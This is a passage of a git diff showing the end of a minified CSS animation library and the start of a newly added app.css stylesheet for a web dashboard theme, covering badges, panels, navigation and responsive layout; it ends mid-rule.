translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}@keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-ms-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-ms-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}@keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-ms-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-ms-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}100%{opacity:0}}@keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);-ms-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}100%{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-ms-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-ms-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);-ms-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);-ms-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;-ms-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);-ms-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);-ms-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;-ms-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-ms-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.55,.055,.675,.19);animation-timing-function:cubic-bezier(0.55,.055,.675,.19)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-ms-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,.885,.32,1);animation-timing-function:cubic-bezier(0.175,.885,.32,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp} \ No newline at end of file diff --git a/user/assets/css/app.css b/user/assets/css/app.css new file mode 100644 index 0000000..312d79d --- /dev/null +++ b/user/assets/css/app.css @@ -0,0 +1,5177 @@ +/* + +*/ + +html { + background-color: #f0f3f4; +} + +body { + font-family: "Source Sans Pro", "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + -webkit-font-smoothing: antialiased; + line-height: 1.42857143; + color: #58666e; + background-color: transparent; +} + +*:focus { + outline: 0 !important; +} + +.h1, +.h2, +.h3, +.h4, +.h5, +.h6 { + margin: 0; +} + +a { + color: #363f44; + text-decoration: none; + cursor: pointer; +} + +a:hover, +a:focus { + color: #141719; + text-decoration: none; +} + +label { + font-weight: normal; +} + +small, +.small { + font-size: 13px; +} + +.badge, +.label { + font-weight: bold; + text-shadow: 0 1px 0 rgba(0, 0, 0, 0.2); +} + +.badge.bg-light, +.label.bg-light { + text-shadow: none; +} + +.badge { + background-color: #cfdadd; +} + +.badge.up { + position: relative; + top: -10px; + padding: 3px 6px; + margin-left: -10px; +} + +.badge-sm { + padding: 2px 5px !important; + font-size: 85%; +} + +.label-sm { + padding-top: 0; + padding-bottom: 1px; +} + +.badge-white { + padding: 2px 6px; + background-color: transparent; + border: 1px solid rgba(255, 255, 255, 0.35); +} + +.badge-empty { + color: inherit; + background-color: transparent; + border: 1px solid rgba(0, 0, 0, 0.15); +} + +blockquote { + border-color: #dee5e7; +} + +.caret-white { + border-top-color: #fff; + border-top-color: rgba(255, 255, 255, 0.65); +} + +a:hover .caret-white { + border-top-color: #fff; +} + +.thumbnail { + border-color: #dee5e7; +} + +.progress { + background-color: #edf1f2; +} + +.progress-xxs { + height: 2px; +} + +.progress-xs { + height: 6px; +} + +.progress-sm { + height: 12px; +} + +.progress-sm .progress-bar { + font-size: 10px; + line-height: 1em; +} + +.progress, +.progress-bar { + -webkit-box-shadow: none; + box-shadow: none; +} + +.progress-bar-primary { + background-color: #7266ba; +} + +.progress-bar-info { + background-color: #23b7e5; +} + +.progress-bar-success { + background-color: #27c24c; +} + +.progress-bar-warning { + background-color: #fad733; +} + +.progress-bar-danger { + background-color: #f05050; +} + +.progress-bar-black { + background-color: #1c2b36; +} + +.progress-bar-white { + background-color: #fff; +} + +.accordion-group, +.accordion-inner { + border-color: #dee5e7; + border-radius: 2px; +} + +.alert { + font-size: 13px; + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2); +} + +.alert .close i { + display: block; + font-size: 12px; + font-weight: normal; +} + +.form-control { + border-color: #cfdadd; + border-radius: 2px; +} + +.form-control, +.form-control:focus { + -webkit-box-shadow: none; + box-shadow: none; +} + +.form-control:focus { + border-color: #23b7e5; +} + +.form-horizontal .control-label.text-left { + text-align: left; +} + +.form-control-spin { + position: absolute; + top: 50%; + right: 10px; + z-index: 2; + margin-top: -7px; +} + +.input-lg { + height: 45px; +} + +.input-group-addon { + background-color: #edf1f2; + border-color: #cfdadd; +} + +.list-group { + border-radius: 2px; +} + +.list-group.no-radius .list-group-item { + border-radius: 0 !important; +} + +.list-group.no-borders .list-group-item { + border: none; +} + +.list-group.no-border .list-group-item { + border-width: 1px 0; +} + +.list-group.no-bg .list-group-item { + background-color: transparent; +} + +.list-group-item { + padding-right: 15px; + border-color: #e7ecee; +} + +a.list-group-item:hover, +a.list-group-item:focus, +a.list-group-item.hover { + background-color: #f6f8f8; +} + +.list-group-item.media { + margin-top: 0; +} + +.list-group-item.active { + color: #fff; + background-color: #23b7e5 !important; + border-color: #23b7e5 !important; +} + +.list-group-item.active .text-muted { + color: #ace4f5 !important; +} + +.list-group-item.active a { + color: #fff; +} + +.list-group-item.focus { + background-color: #e4eaec !important; +} + +.list-group-item.select { + position: relative; + z-index: 1; + background-color: #dbeef9 !important; + border-color: #c5e4f5; +} + +.list-group-alt .list-group-item:nth-child(2n+2) { + background-color: rgba(0, 0, 0, 0.02) !important; +} + +.list-group-lg .list-group-item { + padding-top: 15px; + padding-bottom: 15px; +} + +.list-group-sm .list-group-item { + padding: 6px 10px; +} + +.list-group-sp .list-group-item { + margin-bottom: 5px; + border-radius: 3px; +} + +.list-group-item > .badge { + margin-right: 0; +} + +.list-group-item > .fa-chevron-right { + float: right; + margin-top: 4px; + margin-right: -5px; +} + +.list-group-item > .fa-chevron-right + .badge { + margin-right: 5px; +} + +.nav-pills.no-radius > li > a { + border-radius: 0; +} + +.nav-pills > li.active > a { + color: #fff !important; + background-color: #23b7e5; +} + +.nav-pills > li.active > a:hover, +.nav-pills > li.active > a:active { + background-color: #19a9d5; +} + +.nav > li > a:hover, +.nav > li > a:focus { + background-color: #f6f8f8; +} + +.nav.nav-lg > li > a { + padding: 20px 20px; +} + +.nav.nav-md > li > a { + padding: 15px 15px; +} + +.nav.nav-sm > li > a { + padding: 6px 12px; +} + +.nav.nav-xs > li > a { + padding: 4px 10px; +} + +.nav.nav-xxs > li > a { + padding: 1px 10px; +} + +.nav.nav-rounded > li > a { + border-radius: 20px; +} + +.nav .open > a, +.nav .open > a:hover, +.nav .open > a:focus { + background-color: #f6f8f8; +} + +.nav-tabs { + border-color: #dee5e7; +} + +.nav-tabs > li > a { + border-bottom-color: #dee5e7; + border-radius: 2px 2px 0 0; +} + +.nav-tabs > li:hover > a, +.nav-tabs > li.active > a, +.nav-tabs > li.active > a:hover { + border-color: #dee5e7; +} + +.nav-tabs > li.active > a { + border-bottom-color: #fff !important; +} + +.nav-tabs-alt .nav-tabs.nav-justified > li { + display: table-cell; + width: 1%; +} + +.nav-tabs-alt .nav-tabs > li > a { + background: transparent !important; + border-color: transparent !important; + border-bottom-color: #dee5e7 !important; + border-radius: 0; +} + +.nav-tabs-alt .nav-tabs > li.active > a { + border-bottom-color: #23b7e5 !important; +} + +.tab-container { + margin-bottom: 15px; +} + +.tab-container .tab-content { + padding: 15px; + background-color: #fff; + border: 1px solid #dee5e7; + border-top-width: 0; + border-radius: 0 0 2px 2px; +} + +.pagination > li > a { + border-color: #dee5e7; +} + +.pagination > li > a:hover, +.pagination > li > a:focus { + background-color: #edf1f2; + border-color: #dee5e7; +} + +.panel { + border-radius: 2px; +} + +.panel .accordion-toggle { + display: block; + font-size: 14px; + cursor: pointer; +} + +.panel .list-group-item { + border-color: #edf1f2; +} + +.panel.no-borders { + border-width: 0; +} + +.panel.no-borders .panel-heading, +.panel.no-borders .panel-footer { + border-width: 0; +} + +.panel-heading { + border-radius: 2px 2px 0 0; +} + +.panel-default .panel-heading { + background-color: #f6f8f8; +} + +.panel-heading.no-border { + margin: -1px -1px 0 -1px; + border: none; +} + +.panel-heading .nav { + margin: -10px -15px; +} + +.panel-heading .list-group { + background: transparent; +} + +.panel-footer { + background-color: #ffffff; + border-color: #edf1f2; + border-radius: 0 0 2px 2px; +} + +.panel-default { + border-color: #dee5e7; +} + +.panel-default > .panel-heading, +.panel-default > .panel-footer { + border-color: #edf1f2; +} + +.panel-group .panel-heading + .panel-collapse .panel-body { + border-top: 1px solid #eaedef; +} + +.table > tbody > tr > td, +.table > tfoot > tr > td { + padding: 8px 15px; + border-top: 1px solid #eaeff0; +} + +.table > thead > tr > th { + padding: 8px 15px; + border-bottom: 1px solid #eaeff0; +} + +.table-bordered { + border-color: #eaeff0; +} + +.table-bordered > tbody > tr > td { + border-color: #eaeff0; +} + +.table-bordered > thead > tr > th { + border-color: #eaeff0; +} + +.table-striped > tbody > tr:nth-child(odd) > td, +.table-striped > tbody > tr:nth-child(odd) > th { + background-color: #fafbfc; +} + +.table-striped > thead > th { + background-color: #fafbfc; + border-right: 1px solid #eaeff0; +} + +.table-striped > thead > th:last-child { + border-right: none; +} + +.well, +pre { + background-color: #edf1f2; + border-color: #dee5e7; +} + +.dropdown-menu { + border: 1px solid #dee5e7; + border: 1px solid rgba(0, 0, 0, 0.1); + border-radius: 2px; + -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1); + box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1); +} + +.dropdown-menu.pull-left { + left: 100%; +} + +.dropdown-menu > .panel { + margin: -5px 0; + border: none; +} + +.dropdown-menu > li > a { + padding: 5px 15px; +} + +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus, +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #141719; + background-color: #edf1f2 !important; + background-image: none; + filter: none; +} + +.dropdown-header { + padding: 5px 15px; +} + +.dropdown-submenu { + position: relative; +} + +.dropdown-submenu:hover > a, +.dropdown-submenu:focus > a { + color: #58666e; + background-color: #edf1f2 !important; +} + +.dropdown-submenu:hover > .dropdown-menu, +.dropdown-submenu:focus > .dropdown-menu { + display: block; +} + +.dropdown-submenu.pull-left { + float: none !important; +} + +.dropdown-submenu.pull-left > .dropdown-menu { + left: -100%; + margin-left: 10px; +} + +.dropdown-submenu .dropdown-menu { + top: 0; + left: 100%; + margin-top: -6px; + margin-left: -1px; +} + +.dropup .dropdown-submenu > .dropdown-menu { + top: auto; + bottom: 0; +} + +.btn-group > .btn { + margin-left: -1px; +} + +/*cols*/ + +.col-lg-2-4 { + position: relative; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} + +.col-0 { + clear: left; +} + +.row.no-gutter { + margin-right: 0; + margin-left: 0; +} + +.no-gutter [class*="col"] { + padding: 0; +} + +.row-sm { + margin-right: -10px; + margin-left: -10px; +} + +.row-sm > div { + padding-right: 10px; + padding-left: 10px; +} + +.modal-backdrop { + background-color: #3a3f51; +} + +.modal-backdrop.in { + opacity: 0.8; + filter: alpha(opacity=80); +} + +.modal-over { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; +} + +.modal-center { + position: absolute; + top: 50%; + left: 50%; +} + +/*layout*/ + +html, +body { + width: 100%; + height: 100%; +} + +body { + overflow-x: hidden; +} + +.app { + position: relative; + width: 100%; + height: auto; + min-height: 100%; +} + +.app:before { + position: absolute; + top: 0; + bottom: 0; + z-index: -1; + display: block; + width: inherit; + background-color: #f0f3f4; + border: inherit; + content: ""; +} + +.app-header-fixed { + padding-top: 50px; +} + +.app-header-fixed .app-header { + position: fixed; + top: 0; + width: 100%; +} + +.app-header { + z-index: 1025; + border-radius: 0; +} + +.app-aside { + float: left; +} + +.app-aside:before { + position: absolute; + top: 0; + bottom: 0; + z-index: -1; + width: inherit; + background-color: inherit; + border: inherit; + content: ""; +} + +.app-aside-footer { + position: absolute; + bottom: 0; + z-index: 1000; + width: 100%; + max-width: 200px; +} + +.app-aside-folded .app-aside-footer { + max-width: 60px; +} + +.app-aside-footer ~ div { + padding-bottom: 50px; +} + +.app-aside-right { + padding-bottom: 50px; +} + +.app-content { + height: 100%; +} + +.app-content:before, +.app-content:after { + display: table; + content: " "; +} + +.app-content:after { + clear: both; +} + +.app-content-full { + position: absolute; + top: 50px; + bottom: 50px; + width: auto !important; + height: auto; + padding: 0 !important; + overflow-y: auto; + -webkit-overflow-scrolling: touch; +} + +.app-content-full.h-full { + bottom: 0; + height: auto; +} + +.app-content-body { + float: left; + width: 100%; + padding-bottom: 50px; +} + +.app-footer { + position: absolute; + right: 0; + bottom: 0; + left: 0; + z-index: 1005; +} + +.app-footer.app-footer-fixed { + position: fixed; +} + +.hbox { + display: table; + width: 100%; + height: 100%; + border-spacing: 0; + table-layout: fixed; +} + +.hbox .col { + display: table-cell; + float: none; + height: 100%; + vertical-align: top; +} + +.v-middle { + vertical-align: middle !important; +} + +.v-top { + vertical-align: top !important; +} + +.v-bottom { + vertical-align: bottom !important; +} + +.vbox { + position: relative; + display: table; + width: 100%; + height: 100%; + min-height: 240px; + border-spacing: 0; +} + +.vbox .row-row { + display: table-row; + height: 100%; +} + +.vbox .row-row .cell { + position: relative; + width: 100%; + height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +.ie .vbox .row-row .cell { + display: table-cell; +} + +.vbox .row-row .cell .cell-inner { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; +} + +.navbar { + margin: 0; + border-width: 0; + border-radius: 0; +} + +.navbar .navbar-form-sm { + margin-top: 10px; + margin-bottom: 10px; +} + +.navbar-md { + min-height: 60px; +} + +.navbar-md .navbar-btn { + margin-top: 13px; +} + +.navbar-md .navbar-form { + margin-top: 15px; +} + +.navbar-md .navbar-nav > li > a { + padding-top: 20px; + padding-bottom: 20px; +} + +.navbar-md .navbar-brand { + line-height: 60px; +} + +.navbar-header > button { + padding: 10px 17px; + font-size: 16px; + line-height: 30px; + text-decoration: none; + background-color: transparent; + border: none; +} + +.navbar-brand { + display: inline-block; + float: none; + height: auto; + padding: 0 20px; + font-size: 20px; + font-weight: 700; + line-height: 50px; + text-align: center; +} + +.navbar-brand:hover { + text-decoration: none; +} + +.navbar-brand img { + display: inline; + max-height: 20px; + margin-top: -4px; + vertical-align: middle; +} + +@media (min-width: 768px) { + .app-aside, + .navbar-header { + width: 200px; + } + .navbar-collapse, + .app-content, + .app-footer { + margin-left: 200px; + } + .app-aside-right { + position: absolute; + top: 50px; + right: 0; + bottom: 0; + z-index: 1000; + } + .app-aside-right.pos-fix { + z-index: 1010; + } + .visible-folded { + display: none; + } + .app-aside-folded .hidden-folded { + display: none !important; + } + .app-aside-folded .visible-folded { + display: inherit; + } + .app-aside-folded .text-center-folded { + text-align: center; + } + .app-aside-folded .pull-none-folded { + float: none !important; + } + .app-aside-folded .w-auto-folded { + width: auto; + } + .app-aside-folded .app-aside, + .app-aside-folded .navbar-header { + width: 60px; + } + .app-aside-folded .navbar-collapse, + .app-aside-folded .app-content, + .app-aside-folded .app-footer { + margin-left: 60px; + } + .app-aside-folded .app-header .navbar-brand { + display: block; + padding: 0; + } + .app-aside-fixed .app-header .navbar-header { + position: fixed; + } + .app-aside-fixed .aside-wrap { + position: fixed; + top: 50px; + bottom: 0; + left: 0; + z-index: 1000; + width: 199px; + overflow: hidden; + } + .app-aside-fixed .aside-wrap .navi-wrap { + position: relative; + width: 217px; + height: 100%; + overflow-x: hidden; + overflow-y: scroll; + -webkit-overflow-scrolling: touch; + } + .app-aside-fixed .aside-wrap .navi-wrap::-webkit-scrollbar { + -webkit-appearance: none; + } + .app-aside-fixed .aside-wrap .navi-wrap::-webkit-scrollbar:vertical { + width: 17px; + } + .app-aside-fixed .aside-wrap .navi-wrap > * { + width: 200px; + } + .smart .app-aside-fixed .aside-wrap .navi-wrap { + width: 200px; + } + .app-aside-fixed.app-aside-folded .app-aside { + position: fixed; + top: 0; + bottom: 0; + z-index: 1010; + } + .app-aside-fixed.app-aside-folded .aside-wrap { + width: 59px; + } + .app-aside-fixed.app-aside-folded .aside-wrap .navi-wrap { + width: 77px; + } + .app-aside-fixed.app-aside-folded .aside-wrap .navi-wrap > * { + width: 60px; + } + .smart .app-aside-fixed.app-aside-folded .aside-wrap .navi-wrap { + width: 60px; + } + .bg-auto:before { + position: absolute; + top: 0; + bottom: 0; + z-index: -1; + width: inherit; + background-color: inherit; + border: inherit; + content: ""; + } + .bg-auto.b-l:before { + margin-left: -1px; + } + .bg-auto.b-r:before { + margin-right: -1px; + } + .col.show { + display: table-cell !important; + } +} + +@media (min-width: 768px) and (max-width: 991px) { + .hbox-auto-sm { + display: block; + } + .hbox-auto-sm > .col { + display: block; + width: auto; + height: auto; + } + .hbox-auto-sm > .col.show { + display: block !important; + } +} + +@media (max-width: 767px) { + .app-aside { + float: none; + } + .app-content-full { + width: 100% !important; + } + .hbox-auto-xs { + display: block; + } + .hbox-auto-xs > .col { + display: block; + width: auto; + height: auto; + } + .navbar-nav { + margin-top: 0; + margin-bottom: 0; + } + .navbar-nav > li > a { + box-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1); + } + .navbar-nav > li > a .up { + top: 0; + } + .navbar-nav > li > a .avatar { + width: 30px; + margin-top: -5px; + } + .navbar-nav .open .dropdown-menu { + background-color: #fff; + } + .navbar-form { + margin-top: 0 !important; + margin-bottom: 0 !important; + box-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1); + } + .navbar-form .form-group { + margin-bottom: 0; + } +} + +html { + background: url('../img/bg.jpg'); + background-attachment: fixed; + background-size: cover; +} + +.app.container { + padding-right: 0; + padding-left: 0; +} + +@media (min-width: 768px) { + .app.container { + width: 750px; + -webkit-box-shadow: 0 0 30px rgba(0, 0, 0, 0.3); + box-shadow: 0 0 30px rgba(0, 0, 0, 0.3); + } + .app.container .app-aside { + overflow-x: hidden; + } + .app.container.app-aside-folded .app-aside { + overflow-x: visible; + } + .app.container.app-aside-fixed .aside-wrap { + left: inherit; + } + .app.container.app-aside-fixed.app-aside-folded .app-aside > ul.nav { + position: absolute; + } + .app.container .app-header, + .app.container .app-aside { + max-width: 750px; + } + .app.container .app-footer-fixed { + right: auto; + left: auto; + width: 100%; + max-width: 550px; + } + .app.container.app-aside-folded .app-footer-fixed { + max-width: 690px; + } + .app.container.app-aside-dock .app-footer-fixed { + max-width: 750px; + } +} + +@media (min-width: 992px) { + .app.container { + width: 970px; + } + .app.container .app-header, + .app.container .app-aside { + max-width: 970px; + } + .app.container .app-footer-fixed { + max-width: 770px; + } + .app.container.app-aside-folded .app-footer-fixed { + max-width: 910px; + } + .app.container.app-aside-dock .app-footer-fixed { + max-width: 970px; + } +} + +@media (min-width: 1200px) { + .app.container { + width: 1170px; + } + .app.container .app-header, + .app.container .app-aside { + max-width: 1170px; + } + .app.container .app-footer-fixed { + max-width: 970px; + } + .app.container.app-aside-folded .app-footer-fixed { + max-width: 1110px; + } + .app.container.app-aside-dock .app-footer-fixed { + max-width: 1170px; + } +} + +.nav-sub { + height: 0; + margin-left: -20px; + overflow: hidden; + opacity: 0; + -webkit-transition: all 0.2s ease-in-out 0s; + transition: all 0.2s ease-in-out 0s; +} + +.active > .nav-sub, +.app-aside-folded li:hover > .nav-sub, +.app-aside-folded li:focus > .nav-sub, +.app-aside-folded li:active > .nav-sub { + height: auto !important; + margin-left: 0; + overflow: auto; + opacity: 1; +} + +.nav-sub-header { + display: none !important; +} + +.nav-sub-header a { + padding: 15px 20px; +} + +.navi ul.nav li { + position: relative; + display: block; +} + +.navi ul.nav li li a { + padding-left: 55px; +} + +.navi ul.nav li li ul { + display: none; +} + +.navi ul.nav li li.active > ul { + display: block; +} + +.navi ul.nav li a { + position: relative; + display: block; + padding: 10px 20px; + font-weight: normal; + text-transform: none; + -webkit-transition: background-color 0.2s ease-in-out 0s; + transition: background-color 0.2s ease-in-out 0s; +} + +.navi ul.nav li a .badge, +.navi ul.nav li a .label { + padding: 2px 5px; + margin-top: 2px; + font-size: 11px; +} + +.navi ul.nav li a > i { + position: relative; + float: left; + width: 40px; + margin: -10px -10px; + margin-right: 5px; + overflow: hidden; + line-height: 40px; + text-align: center; +} + +.navi ul.nav li a > i:before { + position: relative; + z-index: 2; +} + +@media (min-width: 768px) { + .app-aside-folded .nav-sub-header { + display: block !important; + } + .app-aside-folded .nav-sub-header a { + padding: 15px 20px !important; + } + .app-aside-folded .navi > ul > li > a { + position: relative; + height: 50px; + padding: 0; + text-align: center; + border: none; + } + .app-aside-folded .navi > ul > li > a span { + display: none; + } + .app-aside-folded .navi > ul > li > a span.pull-right { + display: none !important; + } + .app-aside-folded .navi > ul > li > a i { + display: block; + float: none; + width: auto; + margin: 0; + font-size: 16px; + line-height: 50px; + border: none !important; + } + .app-aside-folded .navi > ul > li > a i b { + left: 0 !important; + } + .app-aside-folded .navi > ul > li > a .badge, + .app-aside-folded .navi > ul > li > a .label { + position: absolute; + top: 8px; + right: 12px; + z-index: 3; + } + .app-aside-folded .navi > ul > li > ul { + position: absolute; + top: 0 !important; + left: 100%; + z-index: 1050; + width: 200px; + height: 0 !important; + -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1); + box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1); + } + .app-aside-folded .navi li li a { + padding-left: 20px !important; + } + .app-aside-folded.app-aside-fixed .app-aside > ul.nav { + position: fixed; + left: 80px; + z-index: 1010; + display: block; + width: 260px; + height: auto; + overflow: visible; + overflow-y: auto; + opacity: 1; + -webkit-overflow-scrolling: touch; + } + .app-aside-folded.app-aside-fixed .app-aside > ul.nav:before { + position: absolute; + top: 0; + left: -60px; + width: 60px; + height: 50px; + content: ""; + } + .app-aside-folded.app-aside-fixed .app-aside > ul.nav a { + padding-right: 20px !important; + padding-left: 20px !important; + } +} + +@media (max-width: 767px) { + .app { + overflow-x: hidden; + } + .app-content { + -webkit-transition: -webkit-transform 0.2s ease; + -moz-transition: -moz-transform 0.2s ease; + -o-transition: -o-transform 0.2s ease; + transition: transform 0.2s ease; + } + .off-screen { + position: absolute; + top: 50px; + bottom: 0; + z-index: 1010; + display: block !important; + width: 75%; + overflow-x: hidden; + overflow-y: auto; + visibility: visible; + -webkit-overflow-scrolling: touch; + } + .off-screen + * { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1015; + width: 100%; + padding-top: 50px; + overflow: hidden; + background-color: #f0f3f4; + -webkit-transform: translate3d(75%, 0, 0px); + transform: translate3d(75%, 0, 0px); + -webkit-transition: -webkit-transform 0.2s ease; + -moz-transition: -moz-transform 0.2s ease; + -o-transition: -o-transform 0.2s ease; + transition: transform 0.2s ease; + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + backface-visibility: hidden; + } + .off-screen + * .off-screen-toggle { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1020; + display: block !important; + } + .off-screen.pull-right { + right: 0; + } + .off-screen.pull-right + * { + 